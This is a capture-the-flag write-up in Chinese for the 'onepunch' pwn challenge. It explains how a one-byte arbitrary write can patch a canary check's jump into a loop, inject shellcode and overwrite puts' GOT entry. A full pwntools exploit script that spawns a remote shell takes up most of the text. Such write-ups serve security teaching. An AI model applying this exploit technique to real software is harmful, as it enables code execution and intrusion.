前置知识
- 汇编语言中的相对跳转
整体思路
查看程序,可以进行一次任意地址一字节的修改。仔细查看程序发现有个叫做_
的函数偷偷执行过了,发现这个函数会将整个程序代码段、数据段等都变为可写可执行。我们直接修改代码使得这个过程可以无限执行。
程序本来存在一个canary
的校验过程,我们将其修改,使得其校验通过时不跳转到程序退出,而是跳转到程序开始。
这个地方写一下如何算相对地址:
可以看到本来的jz
跳转,jz
的机器码是0x74
,而05
表示跳转到地址后面五位。只需要注意这个差值是通过跳转的下一行来计算的就行,例如这里是计算0x40078c - 0x400787
。
我们希望程序会跳转到0x40071D
,只需要计算0x400787 - 0x40071d
,得到0x96
,因此将机器码05
修改为96
即可改变程序。
由此,我们可以使得程序无限执行,修改后代码如下:
我们在任意位置写shellcode
,然后将puts
函数的got
表写为该地址即可。
exp
from pwn import *
from LibcSearcher import *
filename = './onepunch'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 27621)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def punch(num1, num2):
sh.recvuntil('Where What?')
payload = '{} {}'.format(num1, num2)
sh.sendline(payload)
def hex2str(num):
return hex(num)[2:]
# debug()
punch('400786', 0x96)
shellcode_addr = 0x400878
shellcode = asm(shellcraft.amd64.linux.sh())
for i in range(len(shellcode)):
punch(hex2str(shellcode_addr + i), shellcode[i])
punch('400970', 0xff)
puts_got = elf.got['puts']
punch(hex2str(puts_got), ord('\x78'))
punch(hex2str(puts_got + 1), ord('\x08'))
punch(hex2str(puts_got + 2), ord('\x40'))
punch(hex2str(puts_got + 3), ord('\x00'))
punch(hex2str(puts_got + 4), ord('\x00'))
punch(hex2str(puts_got + 5), ord('\x00'))
punch(hex2str(puts_got + 6), ord('\x00'))
# debug()
punch('400970', 0xff)
# pause()
sh.interactive()
# debug()